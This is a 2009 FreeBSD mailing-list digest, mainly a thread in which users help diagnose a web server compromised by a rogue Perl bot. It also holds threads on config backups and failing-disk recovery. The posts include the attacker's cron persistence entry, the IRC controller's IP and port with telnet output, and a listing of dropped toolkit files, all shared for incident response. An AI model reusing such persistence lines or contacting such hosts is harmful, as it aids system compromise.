Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 14:36:36 -0000 --On Tuesday, August 25, 2009 07:26:04 -0500 Bill Moran wrote: >> >> I am currently killing the process with the following bash command while I >> decide what to do next: >> >> $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; >> done > > You can add an ipfw rule to prevent the script from calling home, which > will effectively render it neutered until you can track down and actually > _fix_ the problem. > > In reality, good security practice says that you should have IPFW (or some > other firewall) running and only allowing known good traffic right from > the start, which might have protected you from this in the first place. > I disagree. I used to believe this, but experience has taught me otherwise. When you run a firewall on a host, you open the ports for the services you want to offer. The firewall provides you no protection at all against hackers attacking the services that are listening on ports opened through the firewall. All a host firewall does is consume CPU and memory and give you a warm fuzzy that doesn't really add to security at all and may well make you less vigilant. (And yes, I know I'm a security heretic in some quarters.) Firewalls are much more effective when they're not on the box(es) you're trying to protect. I think it's highly likely that this compromise was through the web server attacking a vulnerable service or a poorly coded script or a permissions problem. And it sounds like the compromise is limited (right now) to the web service. In fact it sounds a great deal like PsyBNC. http://en.wikipedia.org/wiki/PsyBNC >> Is it worth first trying to determine how my system was broken into? > > Yes. Otherwise you'll probably just get a repeat once you've reinstalled. > You're absolutely correct. The old aphorism about always doing what you've always done always produces the results you've always gotten certainly applies here. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. ******************************************* "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 14:42:04 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7873E1065694 for ; Tue, 25 Aug 2009 14:42:04 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 4D9BD8FC21 for ; Tue, 25 Aug 2009 14:42:04 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MfxDn-0000Bf-Oq for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 07:42:03 -0700 Message-ID: <25135684.post@talk.nabble.com> Date: Tue, 25 Aug 2009 07:42:03 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <20090825135000.GB6871@ei.bzerk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825135000.GB6871@ei.bzerk.org> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 14:42:04 -0000 Ruben de Groot wrote: > > Which is exactly what the rogue perl script was using to connect to it's > "home". > Once established this connection could have been used for allmost > anything, > including downloading other malicious software or setting up a tunnel into > your LAN. > Well, the box (also) serves as my DSL gateway, as I indicated above. How would I be able to use various desktop programs like Skype which dynamically set up their own outgoing ports? However, I am perfectly willing to entertain the idea that using a (web)server as a router is a Bad Idea. However, when I set it up, it just seemed more convenient and flexible. ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135684.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 14:51:47 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F06B8106568D for ; Tue, 25 Aug 2009 14:51:47 +0000 (UTC) (envelope-from prvs=481321b54=pauls@utdallas.edu) Received: from ip-relay-002.utdallas.edu (ip-relay-002.utdallas.edu [129.110.20.112]) by mx1.freebsd.org (Postfix) with ESMTP id A36718FC27 for ; Tue, 25 Aug 2009 14:51:47 +0000 (UTC) X-Group: RELAYLIST X-IronPort-AV: E=Sophos;i="4.44,272,1249275600"; d="scan'208";a="15459391" Received: from smtp3.utdallas.edu ([129.110.20.110]) by ip-relay-002.utdallas.edu with ESMTP; 25 Aug 2009 09:23:08 -0500 Received: from utd65257.utdallas.edu (utd65257.utdallas.edu [129.110.3.28]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp3.utdallas.edu (Postfix) with ESMTPSA id D2C754EF37; Tue, 25 Aug 2009 09:23:08 -0500 (CDT) Date: Tue, 25 Aug 2009 14:23:08 +0000 From: Paul Schmehl To: Ruben de Groot , Mike Bristow Message-ID: In-Reply-To: <20090825094133.GA5644@ei.bzerk.org> References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <20090825094133.GA5644@ei.bzerk.org> X-Mailer: Mulberry/4.0.6 (Linux/x86) MIME-Version: 1.0 Content-Type: multipart/signed; micalg=sha1; protocol="application/pkcs7-signature"; boundary="==========9A9F142983F14CB932C1==========" X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 14:51:48 -0000 --==========9A9F142983F14CB932C1========== Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Tuesday, August 25, 2009 04:41:33 -0500 Ruben de Groot =20 wrote: > > On Tue, Aug 25, 2009 at 10:19:37AM +0100, Mike Bristow typed: >> On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: >> > Ok, here is what lsof tells me: >> > >> > $ sudo lsof | grep perl >> > perl5.8.9 4272 www 3u IPv4 0xc33cf000 0t0 TCP >> > gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) >> > >> > The last line would be appear to telling me something, but what? >> >> The script is talking to 94.102.51.57 on port 7000. > > At which port an IRC server is listening: > >> telnet 94.102.51.57 7000 > Trying 94.102.51.57... > Connected to 94.102.51.57. > Escape character is '^]'. > :sampson.dangerz.biz NOTICE AUTH :*** Looking up your hostname... > :sampson.dangerz.biz NOTICE AUTH :*** Couldn't resolve your hostname; using > your IP address instead > And the IRC daemon is screaming "You have been hacked!" You need to get someone who knows about server compromises to help you. Your=20 server has been compromised. If you don't take action now, it will only get=20 worse. --=20 Paul Schmehl (pauls@utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/ --==========9A9F142983F14CB932C1==========-- From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 14:52:40 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 82D5D1065697 for ; Tue, 25 Aug 2009 14:52:40 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 419368FC27 for ; Tue, 25 Aug 2009 14:52:40 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MfxO3-0000c6-Jh for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 07:52:39 -0700 Message-ID: <25135959.post@talk.nabble.com> Date: Tue, 25 Aug 2009 07:52:39 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <20090825134250.GA6871@ei.bzerk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 14:52:40 -0000 Ruben de Groot wrote: > > Try a find through the entire filesystem for files owned by this user that > you can't account for. Also check your cron and at files under /var/cron > and > /var/at > I found the cronjob which keeps restarting the script: [root@venus /var/cron/tabs]# ls -l total 12 -rw------- 1 root wheel 3440 Aug 25 12:06 colin -rw------- 1 root wheel 240 Jul 28 23:49 www [root@venus /var/cron/tabs]# cat www # DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.job installed on Tue Jul 28 23:49:28 2009) # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $) */1 * * * * perl /tmp/tmpfile I removed it, so now at least the script stops relaunching. /tmp/tmpfile is of course the script. In a subdirectory of tmp, there is a whole bunch of source code, all owned by 'www': /tmp/.,]# ls -l total 5692 -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml -rw-r--r-- 1 www wheel 43419 May 27 23:22 scanxml.txt ]# ls -l ml total 3208 -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents -rwxr-xr-x 1 www wheel 2154 May 16 2003 Makefile -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h -rwxr-xr-x 1 www wheel 1054 Aug 3 2008 m.lev -rwx--x--x 1 www wheel 6 May 25 2008 m.pid -rwxr-xr-x 1 www wheel 1320 Mar 27 09:56 m.set -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico drwxr-xr-x 2 www wheel 512 Mar 4 2005 r drwxr-xr-x 2 www wheel 1024 Dec 3 2005 src If anyone is interested in looking at this stuff, or wants more info, please let me know. ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135959.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 14:54:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3D393106568F for ; Tue, 25 Aug 2009 14:54:39 +0000 (UTC) (envelope-from prvs=481bfd290=pschmehl_lists@tx.rr.com) Received: from ip-relay-002.utdallas.edu (ip-relay-002.utdallas.edu [129.110.20.112]) by mx1.freebsd.org (Postfix) with ESMTP id 0BE448FC1D for ; Tue, 25 Aug 2009 14:54:38 +0000 (UTC) X-Group: RELAYLIST X-IronPort-AV: E=Sophos;i="4.44,272,1249275600"; d="scan'208";a="15459592" Received: from smtp3.utdallas.edu ([129.110.20.110]) by ip-relay-002.utdallas.edu with ESMTP; 25 Aug 2009 09:26:05 -0500 Received: from utd65257.utdallas.edu (utd65257.utdallas.edu [129.110.3.28]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp3.utdallas.edu (Postfix) with ESMTPSA id 367714EF37; Tue, 25 Aug 2009 09:26:05 -0500 (CDT) Date: Tue, 25 Aug 2009 14:26:05 +0000 From: Paul Schmehl To: Colin Brace , freebsd-questions@freebsd.org Message-ID: <9A17E0F00322F734578821FC@utd65257.utdallas.edu> In-Reply-To: <25132123.post@talk.nabble.com> References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> X-Mailer: Mulberry/4.0.6 (Linux/x86) X-Munged-Reply-To: Figure it out MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 14:54:39 -0000 --On Tuesday, August 25, 2009 05:46:43 -0500 Colin Brace wrote: > > > > Olivier Nicole wrote: >> >>> Am I correct in assuming that my system has been hacked and I am running >>> an >>> IRC server or something? >> >> IRC client at least. And yes, I would think that your system has been >> compromised. >> > > Thanks Olivier. > > I am currently killing the process with the following bash command while I > decide what to do next: > > $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; > done > > I suppose this calls for a "bare-metal" reinstall. > > Is it worth first trying to determine how my system was broken into? > Only you can answer that question. How badly do you need to get the server back up and running? If it's not critical, it would be worth taking the time to investigate. Otherwise you'll set it back up the same way and be hacked again in the same way. If you know someone who is good at forensics on Unix boxes, call them. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. ******************************************* "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 15:02:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A1BD106568E for ; Tue, 25 Aug 2009 15:02:43 +0000 (UTC) (envelope-from modulok@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.24]) by mx1.freebsd.org (Postfix) with ESMTP id 15F6F8FC22 for ; Tue, 25 Aug 2009 15:02:42 +0000 (UTC) Received: by ey-out-2122.google.com with SMTP id 4so699166eyf.9 for ; Tue, 25 Aug 2009 08:02:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=CdJEgG3Bvri2sOrE5rumpagA57msDfuwoZRKcscU50M=; b=U/k27Gng6qOG37npbn1GQKP31dnwS1JcpVPaEZsLVvTHQb7eVqPJJhSXnBBmnZOaY4 v+zKNRIE88/Pw1rZVA6FHZDvhYJYYaLTUfnZemNmRgOjnedalaAyfhed8CBrHvbgyNzx VswY4u7QGnp7rav+q7BYn4WFxEI+T4i2f1xg8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=sDDRt5KBM4Ev8QPJKOqC1FQHspdNCk2DDy031lh6P2xl2xYZ4wL6ITOEoxLmeCm1Ae zi5klF32CWdWq5Pju5ZDwjCXZn4aXxwokZGmigTmyXUsQEtdiFUzdC8j70iSdvZqA4e7 fdx5V+RplNEetbBxkRrsi7nwfGrQ2xY9QvvDg= MIME-Version: 1.0 Received: by 10.211.180.6 with SMTP id h6mr5871274ebp.39.1251212562214; Tue, 25 Aug 2009 08:02:42 -0700 (PDT) In-Reply-To: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> References: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> Date: Tue, 25 Aug 2009 09:02:41 -0600 Message-ID: <64c038660908250802h24561f8ena89c2c36c0c09a68@mail.gmail.com> From: Modulok To: Maxim Khitrov Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Free BSD Questions list Subject: Re: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 15:02:43 -0000 > I'm setting up a firewall using FreeBSD 7.2 and thought that it may > not be a bad idea to have a continuous backup for important files like > pf and dnsmasq configurations. By continuous I mean some script that > would be triggered every few minutes from cron to automatically create > a backup of any monitored file if it was modified. I also have a full > system backup in place that is executed daily (dump/restore to a > compact flash card), so the continuous backup would really be for > times when someone makes a mistake editing one of the config files and > needs to revert it to a previous state. > > My initial thought was to create a mercurial repository at the file > system root and exclude everything except for explicitly added files. > I'd then run something like "hg commit -m `date`" from cron every 10 > minutes to record the changes automatically. Can anyone think of a > better way to do this (existing port specifically for this purpose)? > Obviously, I need a way to track the history of a file and revert to a > previous state quickly. The storage of changes should be as > size-efficient as possible. > Look into 'rsync', available in the ports collection. Generally for a basic server, you make backup copies manually before you edit something. It's a good habbit to get into: # Make a quick backup: cp rules.pf rules.pf.orig # Then edit the original: nano rules.pf If you're doing some major messing around and don't like the manual backup solution, look into 'subversion', in the ports collection. It is a full-featured revision control system. It's used by most developers (including the FreeBSD team.) You could setup a subversion repository to store all of your config files. Make changes to them and committ those changes back to the repository. Then if you make a bunch of changes you don't like, simply checkout a previous revision. Its a bit more work to setup, but if you're doing a lot of frequent tinkering it might be worth it. For general backups I use rsync on a dedicated backup server. This way if I have to quickly restore something I can simply scp it back to the production server in seconds. rsync is fast (after the initial backup) as it only transvers the deltas (changes) in files. It automatically sorts out who has changed and who needs backed up. You could configure a cron job to run an rsync script every few minutes if you wanted. That script could also contain a command to generate an incremental copy of the entire backup directory using the -l (lowercase ell) flag. This generates a hard-linked copy, which consumes no real additional space. You can read all about it here: http://www.sanitarium.net/golug/rsync_backups.html Whatever you decide, best of luck! -Modulok- From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 15:04:08 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DE116106568D for ; Tue, 25 Aug 2009 15:04:08 +0000 (UTC) (envelope-from prvs=481bfd290=pschmehl_lists@tx.rr.com) Received: from ip-relay-001.utdallas.edu (ip-relay-001.utdallas.edu [129.110.20.111]) by mx1.freebsd.org (Postfix) with ESMTP id AB3648FC33 for ; Tue, 25 Aug 2009 15:04:08 +0000 (UTC) X-Group: RELAYLIST X-IronPort-AV: E=Sophos;i="4.44,272,1249275600"; d="scan'208";a="16792032" Received: from smtp3.utdallas.edu ([129.110.20.110]) by ip-relay-001.utdallas.edu with ESMTP; 25 Aug 2009 10:04:08 -0500 Received: from utd65257.utdallas.edu (utd65257.utdallas.edu [129.110.3.28]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp3.utdallas.edu (Postfix) with ESMTPSA id 5A2394EF50; Tue, 25 Aug 2009 10:04:08 -0500 (CDT) Date: Tue, 25 Aug 2009 15:04:08 +0000 From: Paul Schmehl To: Colin Brace , freebsd-questions@freebsd.org Message-ID: In-Reply-To: <25134277.post@talk.nabble.com> References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> X-Mailer: Mulberry/4.0.6 (Linux/x86) X-Munged-Reply-To: Figure it out MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 15:04:08 -0000 --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace wrote: > > > Bill, one more thing: > > > Bill Moran wrote: >> >> You can add an ipfw rule to prevent the script from calling home, which >> will effectively render it neutered until you can track down and actually >> _fix_ the problem. > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port > 7000". OK, so I how do I know what port the script is using for outgoing > traffic on MY box? 7000 is the remote host port, right? > > FWIW, here are my core PF lines: > > pass out quick on $ext_if proto 41 > pass out quick on gif0 inet6 > pass in quick on gif0 inet6 proto icmp6 > block in log > > That is to say: nothing is allowed in unless explicitly allowed > Everything allowed out. > (plus some ipv6 stuff I was testing with a tunnel) > The problem with blocking outbound ports is that it breaks things in odd ways. For example, your mail server listens on port 25 (and possibly 465 as well) but it communicates with connecting clients on whatever ethereal port the client decided to use. If the port the client selects happens to be in a range that you are blocking, communication will be impossible and the client will report that your mail server is non-responsive. It's much easier to block outgoing ports for services you *don't* want to offer, but, if the service isn't running anyway, blocking the port is non-productive. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. ******************************************* "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 15:08:13 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A4083106568C for ; Tue, 25 Aug 2009 15:08:13 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 69DE88FC2D for ; Tue, 25 Aug 2009 15:08:13 +0000 (UTC) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id n7PF4cjM010455; Tue, 25 Aug 2009 11:04:38 -0400 (EDT) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id n7PF4cAv010454; Tue, 25 Aug 2009 11:04:38 -0400 (EDT) (envelope-from jerrymc) Date: Tue, 25 Aug 2009 11:04:38 -0400 From: Jerry McAllister To: Polytropon Message-ID: <20090825150438.GA10392@gizmo.acns.msu.edu> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824222611.025c4e56.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090824222611.025c4e56.freebsd@edvax.de> User-Agent: Mutt/1.4.2.2i Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 15:08:13 -0000 On Mon, Aug 24, 2009 at 10:26:11PM +0200, Polytropon wrote: > On Mon, 24 Aug 2009 12:29:19 -0600, Kelly Martin wrote: > > My question: what kind of checks and/or repair tools should I run on > > the damaged drive after it's mounted? Or should I mount it as > > read-only and start backing it up? > > Thou shalt not manipluate thy file systems while they are mounted. :-) > Perform an fsck on the partitions first, then mount them ro. Copy > the files you need. > > In case you can't "reach" essential files, you have the change to > use forensic tools to get them. > > Finally, keep in mind that for further diagnostics and restore > operations it's always wise not to use the original file systems, > i. e. the original disk. Make dd copies of the partitions onto > a working disk and use them instead. Luckily, most operations > work on plain files as well as on block device specials. dd will barf on bad bits too. You can tinker to make it skip over the bad block, but it won't read it. ////jerry > > > I am hoping most of my data is > > still there, but also don't want to damage it further. > > Good idea. This encourages you to follow the advice given above. > > > > > I desperately > > need to salvage the data, what do the kind people on this list > > recommend? > > BACKUPS!!! =^_^= > > > > -- > Polytropon > Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 15:13:15 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A497106568B for ; Tue, 25 Aug 2009 15:13:15 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id 56A248FC19 for ; Tue, 25 Aug 2009 15:13:15 +0000 (UTC) Received: from localhost (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id 61E98EBC0A; Tue, 25 Aug 2009 11:13:14 -0400 (EDT) Date: Tue, 25 Aug 2009 11:13:13 -0400 From: Bill Moran To: Paul Schmehl Message-Id: <20090825111313.c923314b.wmoran@potentialtech.com> In-Reply-To: References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> Organization: Bill Moran X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 15:13:15 -0000 In response to Paul Schmehl : > --On Tuesday, August 25, 2009 07:26:04 -0500 Bill Moran > wrote: > >> > >> I am currently killing the process with the following bash command while I > >> decide what to do next: > >> > >> $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; > >> done > > > > You can add an ipfw rule to prevent the script from calling home, which > > will effectively render it neutered until you can track down and actually > > _fix_ the problem. > > > > In reality, good security practice says that you should have IPFW (or some > > other firewall) running and only allowing known good traffic right from > > the start, which might have protected you from this in the first place. > > > > I disagree. I used to believe this, but experience has taught me otherwise. > When you run a firewall on a host, you open the ports for the services you want > to offer. The firewall provides you no protection at all against hackers > attacking the services that are listening on ports opened through the firewall. > All a host firewall does is consume CPU and memory and give you a warm fuzzy > that doesn't really add to security at all and may well make you less vigilant. > (And yes, I know I'm a security heretic in some quarters.) Well, you're entitled to your opinion, but I think it's misguided. Security isn't always about preventing a compromise. Sometimes it's about reducing the damage. If he had a packet filter installed that allowed only known-good traffic, he still might have gotten compromised through a web server, you got that part right. The part you missed is that the installed script needs to connect out to talk to it's bot master. The packet filter would have prevented this communication, thus the rogue script would have been useless. While the compromise of the machine would succeed, control of the machine would not fall into other hands, and the script would be incapable of compromising _information_ on the machine (as it stands, you have no idea what files that script has been sending up to the bot master ... password files, for example?) A side note to that. Make sure to change each and every password, key file, etc on that system, as they're all suspect at this point. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 15:23:00 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7D207106568C for ; Tue, 25 Aug 2009 15:23:00 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail5.sea5.speakeasy.net (mail5.sea5.speakeasy.net [69.17.117.7]) by mx1.freebsd.org (Postfix) with ESMTP id 550CF8FC18 for ; Tue, 25 Aug 2009 